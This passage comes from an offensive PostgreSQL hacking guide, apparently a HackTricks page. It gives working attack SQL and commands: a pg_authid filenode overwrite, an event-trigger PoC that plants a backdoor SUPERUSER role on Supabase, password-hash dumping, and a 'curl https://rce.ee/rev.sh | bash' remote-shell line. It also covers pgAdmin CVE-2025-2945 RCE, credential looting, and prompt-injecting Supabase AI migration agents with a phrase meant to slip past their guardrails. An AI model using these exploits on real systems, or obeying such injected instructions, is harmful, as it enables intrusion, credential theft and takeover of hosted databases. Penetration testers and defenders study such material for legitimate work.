The declaration above includes the **`SECURITY DEFINER`** flag. 761 762 ```sql 763 CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a 764 user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication 765 WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); 766 ``` 767 768 And then **execute commands**: 769 770 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28649%29.png" alt=""><figcaption></figcaption></figure> 771 772 ### Password brute force with PL/pgSQL 773 774 **PL/pgSQL** is a **fully featured programming language** that offers greater procedural control compared to SQL. It enables the use of **loops** and other **control structures** to enhance program logic. In addition, **SQL statements** and **triggers** have the capability to invoke functions that are created using the **PL/pgSQL language**. This integration allows for a more comprehensive and versatile approach to database programming and automation.\ 775 In an authorized assessment, server-side loops can test candidate database credentials. See [PL/pgSQL password brute force](/hacktricks/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce); constrain attempts to avoid lockouts and resource exhaustion. 776 777 ### Privilege escalation by overwriting internal PostgreSQL tables 778 779 > [!TIP] 780 > The following privilege-escalation vector is especially useful in constrained SQL injection contexts because every step can be performed through nested `SELECT` statements. 781 782 If you can **read and write PostgreSQL server files**, you can **become a superuser** by overwriting the PostgreSQL on-disk filenode, associated with the internal `pg_authid` table. 783 784 Read more about **this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**<sup>[[2]](#references)</sup> 785 786 The attack steps are: 787 788 1. Obtain the PostgreSQL data directory 789 2. Obtain a relative path to the filenode, associated with the `pg_authid` table 790 3. Download the filenode through the `lo_*` functions 791 4. Get the datatype, associated with the `pg_authid` table 792 5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); set all `rol*` boolean flags to 1 for full permissions. 793 6. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk 794 7. _(Optionally)_ Clear the in-memory table cache by running an expensive SQL query 795 8. You should now have full superuser privileges. 796 797 ### Prompt-injecting managed migration tooling 798 799 AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts.<sup>[[11]](#references)</sup> A practical workflow is: 800 801 1. Enumerate who is actually applying migrations: 802 803 ```sql 804 SELECT version, name, created_by, statements, created_at 805 FROM supabase_migrations.schema_migrations 806 ORDER BY version DESC LIMIT 20; 807 ``` 808 809 2. Prompt-inject the agent into running attacker SQL via the privileged migration tool. Framing payloads as “please verify this migration is denied” consistently bypasses basic guardrails. 810 3. Once arbitrary DDL runs in that context, immediately create attacker-owned tables or extensions that grant persistence back to your low-privileged account. 811 812 > [!TIP] 813 > See also the general [AI agent abuse playbook](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/phishing-methodology/ai-agent-abuse-local-ai-cli-tools-and-mcp.md) for more prompt-injection techniques against tool-enabled assistants. 814 815 ### Dumping `pg_authid` metadata via migrations 816 817 Privileged migrations can stage `pg_catalog.pg_authid` into an attacker-readable table even if direct access is blocked for your normal role.<sup>[[11]](#references)</sup> 818 819 <details> 820 <summary>Staging pg_authid metadata with a privileged migration</summary> 821 822 ```sql 823 DROP TABLE IF EXISTS public.ai_models CASCADE; 824 CREATE TABLE public.ai_models ( 825 id SERIAL PRIMARY KEY, 826 model_name TEXT, 827 config JSONB, 828 created_at TIMESTAMP DEFAULT NOW() 829 ); 830 GRANT ALL ON public.ai_models TO supabase_read_only_user; 831 GRANT ALL ON public.ai_models TO supabase_admin; 832 INSERT INTO public.ai_models (model_name, config) 833 SELECT rolname, 834 jsonb_build_object( 835 'password_hash', rolpassword, 836 'is_superuser', rolsuper, 837 'can_login', rolcanlogin, 838 'valid_until', rolvaliduntil 839 ) 840 FROM pg_catalog.pg_authid; 841 ``` 842 843 </details> 844 845 Low-privileged users can now read `public.ai_models` to obtain SCRAM hashes and role metadata for offline cracking or lateral movement. 846 847 ### Event-trigger privilege escalation during `postgres_fdw` extension installs 848 849 Managed Supabase deployments rely on the `supautils` extension to wrap `CREATE EXTENSION` with provider-owned `before-create.sql`/`after-create.sql` scripts executed as true superusers. The `postgres_fdw` after-create script briefly issues `ALTER ROLE postgres SUPERUSER`, runs `ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres`, then reverts `postgres` back to `NOSUPERUSER`. Because `ALTER FOREIGN DATA WRAPPER` fires `ddl_command_start`/`ddl_command_end` event triggers while `current_user` is superuser, tenant-created triggers can execute attacker SQL inside that window.<sup>[[11]](#references)</sup> 850 851 Exploit flow: 852 853 1. Create a PL/pgSQL event trigger function that checks `SELECT usesuper FROM pg_user WHERE usename = current_user` and, when true, provisions a backdoor role (e.g., `CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'`). 854 2. Register the function on both `ddl_command_start` and `ddl_command_end`. 855 3. `DROP EXTENSION IF EXISTS postgres_fdw CASCADE;` followed by `CREATE EXTENSION postgres_fdw;` to re-run Supabase’s after-create hook. 856 4. When the hook elevates `postgres`, the trigger executes, creates the persistent SUPERUSER role, and grants it back to `postgres` for easy `SET ROLE` access. 857 858 <details> 859 <summary>Event trigger PoC for the postgres_fdw after-create window</summary> 860 861 ```sql 862 CREATE OR REPLACE FUNCTION escalate_priv() 863 RETURNS event_trigger AS $$ 864 DECLARE 865 is_super BOOLEAN; 866 BEGIN 867 SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user; 868 IF is_super THEN 869 BEGIN 870 EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123'''; 871 EXCEPTION WHEN duplicate_object THEN 872 NULL; 873 END; 874 BEGIN 875 EXECUTE 'GRANT priv_esc TO postgres'; 876 EXCEPTION WHEN OTHERS THEN 877 NULL; 878 END; 879 END IF; 880 END; 881 $$ LANGUAGE plpgsql; 882 883 DROP EVENT TRIGGER IF EXISTS log_start CASCADE; 884 DROP EVENT TRIGGER IF EXISTS log_end CASCADE; 885 CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv(); 886 CREATE EVENT TRIGGER log_end ON ddl_command_end EXECUTE FUNCTION escalate_priv(); 887 888 DROP EXTENSION IF EXISTS postgres_fdw CASCADE; 889 CREATE EXTENSION postgres_fdw; 890 ``` 891 892 </details> 893 894 Supabase’s attempt to skip unsafe triggers only checks ownership, so ensure the trigger function owner is your low-privileged role, but the payload executes only when the hook flips `current_user` into SUPERUSER. Because the trigger re-runs on future DDL, it doubles as a self-healing persistence backdoor whenever the provider briefly elevates tenant roles. 895 896 ### Turning transient SUPERUSER access into host compromise 897 898 After `SET ROLE priv_esc;` succeeds, re-run earlier blocked primitives:<sup>[[11]](#references)</sup> 899 900 ```sql 901 INSERT INTO public.ai_models(model_name, config) 902 VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100))); 903 COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash'; 904 ``` 905 906 `pg_read_file`/`COPY ... TO PROGRAM` now provide arbitrary file access and command execution as the database OS account. Follow up with standard host privilege escalation: 907 908 ```bash 909 find / -perm -4000 -type f 2>/dev/null 910 ``` 911 912 Abusing a misconfigured SUID binary or writable config grants root. Once root, harvest orchestration credentials (systemd unit env files, `/etc/supabase`, kubeconfigs, agent tokens) to pivot laterally across the provider’s region. 913 914 ## **POST** 915 916 ```text 917 msf> use auxiliary/scanner/postgres/postgres_hashdump 918 msf> use auxiliary/scanner/postgres/postgres_schemadump 919 msf> use auxiliary/admin/postgres/postgres_readfile 920 msf> use exploit/linux/postgres/postgres_payload 921 msf> use exploit/windows/postgres/postgres_payload 922 ``` 923 924 ### logging 925 926 Inside the _**postgresql.conf**_ file you can enable postgresql logs changing: 927 928 ```bash 929 log_statement = 'all' 930 log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' 931 logging_collector = on 932 sudo service postgresql restart 933 #Find the logs in /var/lib/postgresql/<PG_Version>/main/log/ 934 #or in /var/lib/postgresql/<PG_Version>/main/pg_log/ 935 ``` 936 937 Then, **restart the service**. 938 939 ### pgadmin 940 941 [pgadmin](https://www.pgadmin.org) is an administration and development platform for PostgreSQL.\ 942 You can find **passwords** inside the _**pgadmin4.db**_ file\ 943 You can decrypt them using the _**decrypt**_ function inside the script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) 944 945 ```bash 946 sqlite3 pgadmin4.db ".schema" 947 sqlite3 pgadmin4.db "select * from user;" 948 sqlite3 pgadmin4.db "select * from server;" 949 string pgadmin4.db 950 ``` 951 952 In Dockerized deployments, pgAdmin secrets are often split between **`pgadmin4.db`**, **environment variables**, and **runtime-only connection state**.<sup>[[12]](#references)</sup> 953 954 #### Authenticated RCE before 9.2 (CVE-2025-2945) 955 956 In **pgAdmin 4 < 9.2**, the POST endpoints **`/sqleditor/query_tool/download`** (`query_commited`) and **`/cloud/deploy`** (`high_availability`) pass attacker-controlled data to Python `eval()`. Any authenticated pgAdmin user who can reach these routes can turn a normal export/deploy action into OS command execution as the pgAdmin service account.<sup>[[13]](#references)[[14]](#references)</sup> 957 958 Practical workflow: 959 960 1. Login to pgAdmin. 961 2. Open **Query Tool** for any registered server and run a trivial query so a result set exists. 962 3. Intercept **Save Results to File** in Burp. 963 4. Replace the expected Boolean/option with a Python expression and replay the request. 964 5. Confirm blind execution with ICMP/DNS/HTTP, then switch to a shell payload. 965 966 #### Post-exploitation: environment and SQLite loot 967 968 If the shell lands inside the pgAdmin container, check **environment variables** and **`/var/lib/pgadmin/pgadmin4.db`** first:<sup>[[12]](#references)</sup> 969 970 ```bash 971 env | sort 972 tr '\0' '\n' </proc/1/environ | sort 973 sqlite3 /var/lib/pgadmin/pgadmin4.db '.tables' 974 sqlite3 /var/lib/pgadmin/pgadmin4.db 'select id,name,host,port,username,maintenance_db,save_password from server;' 975 sqlite3 /var/lib/pgadmin/pgadmin4.db 'select id,email,password from user;' 976 sqlite3 /var/lib/pgadmin/pgadmin4.db "select name,value from keys where name='SECURITY_PASSWORD_SALT';" 977 ``` 978 979 High-value findings: 980 981 - **`PGADMIN_DEFAULT_EMAIL`** / **`PGADMIN_DEFAULT_PASSWORD`** 982 - **numeric env vars** holding live database passwords for active connections 983 - **`server`** rows with internal DB hosts, ports, usernames, and **`save_password`** 984 - **`user`** rows with pgAdmin login hashes 985 - **`keys`** rows exposing app crypto material such as **`SECURITY_PASSWORD_SALT`** 986 987 When **`save_password=0`**, the password may still be available from the process environment instead of the SQLite **`server`** row. 988 989 #### Verifying pgAdmin password hashes 990 991 pgAdmin user hashes are **not** a direct PBKDF2 of the plaintext. For the observed scheme, derive **`Base64(HMAC-SHA512(SECURITY_PASSWORD_SALT, plaintext_password))`** first, then verify that derived value against the stored Passlib PBKDF2-SHA512 record.<sup>[[12]](#references)</sup> 992 993 ```python 994 import hashlib 995 import hmac 996 from base64 import b64encode 997 from passlib.hash import pbkdf2_sha512 998 999 salt = '<SECURITY_PASSWORD_SALT>' 1000 password = '<candidate_password>' 1001 stored_hash = '<hash from user table>' 1002 1003 derived = b64encode( 1004 hmac.new(salt.encode(), password.encode(), hashlib.sha512).digest() 1005 ) 1006 print(pbkdf2_sha512.verify(derived, stored_hash)) 1007 ``` 1008 1009 ### pg_hba 1010 1011 Client authentication in PostgreSQL is managed through a configuration file called **pg_hba.conf**. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied. 1012 1013 Current password-based methods include **`scram-sha-256`**, **`md5`**, and **`password`**. `scram-sha-256` performs SCRAM authentication; an `md5` rule can negotiate SCRAM when the stored verifier is SCRAM, while MD5 password verifiers are deprecated; `password` sends the password in cleartext unless the connection is protected by TLS. Historical `crypt` authentication is no longer supported by current PostgreSQL releases.<sup>[[20]](#references)</sup> 1014 1015 #### Local Linux enumeration 1016 1017 With shell access, PostgreSQL is often about **auth policy**, **socket access**, and **credential artifacts** rather than raw TCP exposure. 1018 1019 High-signal paths and files: 1020 1021 ```bash 1022 find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null 1023 ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null 1024 ``` 1025 1026 Important settings and meanings: 1027 1028 - **`listen_addresses`** controls which interfaces PostgreSQL binds to (`'*'` means all) 1029 - **`peer`** maps the local **OS user** to a DB role on UNIX sockets 1030 - **`trust`** allows passwordless access for matching rules 1031 1032 Quick checks: 1033 1034 ```bash 1035 rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null 1036 sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;' 2>/dev/null 1037 sudo -u postgres psql -c '\du' 2>/dev/null 1038 ``` 1039 1040 What to look for: 1041 1042 - **`trust`** entries outside a lab/dev context 1043 - permissive **`peer`** mappings that turn OS access into DB admin 1044 - weak permissions on **`~/.pgpass`** 1045 - roles with **`SUPERUSER`**, **`CREATEDB`**, **`REPLICATION`**, or **`BYPASSRLS`** 1046 1047 ## References 1048 1049 - [1] [Port scanning through PostgreSQL `dblink` connection error messages (Exploit-DB Paper #13084)](https://www.exploit-db.com/papers/13084) 1050 - [2] [Updating PostgreSQL Data Without UPDATE (adeadfed)](https://adeadfed.com/posts/updating-postgresql-data-without-update/) 1051 - [3] [Authenticated Arbitrary Command Execution on PostgreSQL 9.3+ (GreenWolf Security)](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) 1052 - [4] [HTB: DarkCorp by 0xdf](https://0xdf.gitlab.io/2025/10/18/htb-darkcorp.html) 1053 - [5] [PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-copy-tofrom-program) 1054 - [6] [Hacking Postgres via SQLi: ssl_passphrase_command RCE (Pulse Security)](https://pulsesecurity.co.nz/articles/postgres-sqli) 1055 - [7] [Postgres SQL injection to RCE with archive_command (The Gray Area)](https://thegrayarea.tech/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3) 1056 - [8] [PostgreSQL SELECT-only RCE via session_preload_libraries (adeadfed)](https://adeadfed.com/posts/postgresql-select-only-rce/) 1057 - [9] [The Cloud Has an Isolation Problem: PostgreSQL Vulnerabilities (Wiz)](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) 1058 - [10] [Hell's Keychain: Supply Chain Attack in IBM Cloud Databases for PostgreSQL (Wiz)](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) 1059 - [11] [SupaPwn: Hacking Our Way into Lovable's Office and Helping Secure Supabase](https://www.hacktron.ai/blog/supapwn) 1060 - [12] [HTB: Fries by 0xdf](https://0xdf.gitlab.io/2026/07/25/htb-fries.html) 1061 - [13] [pgAdmin fix for CVE-2025-2945](https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c) 1062 - [14] [NVD: CVE-2025-2945](https://nvd.nist.gov/vuln/detail/CVE-2025-2945) 1063 - [15] [postgresql.org - feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935) 1064 - [16] [PostgreSQL 13 documentation - GRANT](https://www.postgresql.org/docs/13/sql-grant.html) 1065 - [17] [PostgreSQL documentation - CREATE FUNCTION and `SECURITY DEFINER`](https://www.postgresql.org/docs/current/sql-createfunction.html) 1066 - [18] [PostgreSQL documentation - `postgres` server port and bind failures](https://www.postgresql.org/docs/current/app-postgres.html) 1067 - [19] [PostgreSQL 16 release notes - restrictions on `CREATEROLE`](https://www.postgresql.org/docs/16/release-16.html) 1068 - [20] [PostgreSQL documentation - `pg_hba.conf` authentication methods](https://www.postgresql.org/docs/current/auth-pg-hba-conf.html)